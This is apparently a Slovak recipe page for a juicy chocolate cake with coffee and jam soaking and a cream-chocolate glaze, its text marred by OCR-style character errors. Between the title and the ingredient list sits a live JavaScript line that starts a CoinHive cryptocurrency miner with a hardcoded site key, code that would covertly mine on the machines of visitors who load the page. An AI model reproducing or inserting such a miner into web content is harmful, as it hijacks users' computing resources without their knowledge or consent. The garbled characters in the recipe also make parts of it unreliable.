Stavnaty kolaé s éokoladou

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme na cesto: 5 vajec, 1 hrn€ek krystalového cukru, 1 hrnéek muky (Promix PK
Special), 1 hrnek Granka, 1 hrnéek oleja, 1 prasok do peciva

potrebujeme na poliatie: V2 hrnéeka uvarenej sladenej kavy Nescafe, malinovy dzem.

Potrebujeme na polevu: 200 ml 33% smotany na $fahanie, 100 g horkej Cokolady (70%), 2 PL
cukru (pripadne viac)

Postup: Suroviny na cesto zmieSat a upiect cesto. (tip: do cesta sa mézu pridat aj posekané
orechy — cca 2 hrste). ESte horlci kola¢ poliat surovinami uréenymi na poliatie, potom v
smotane uvarit ¢okoladu a tiez vyliat na kola¢. Mozné ozdobit Sfahackou.




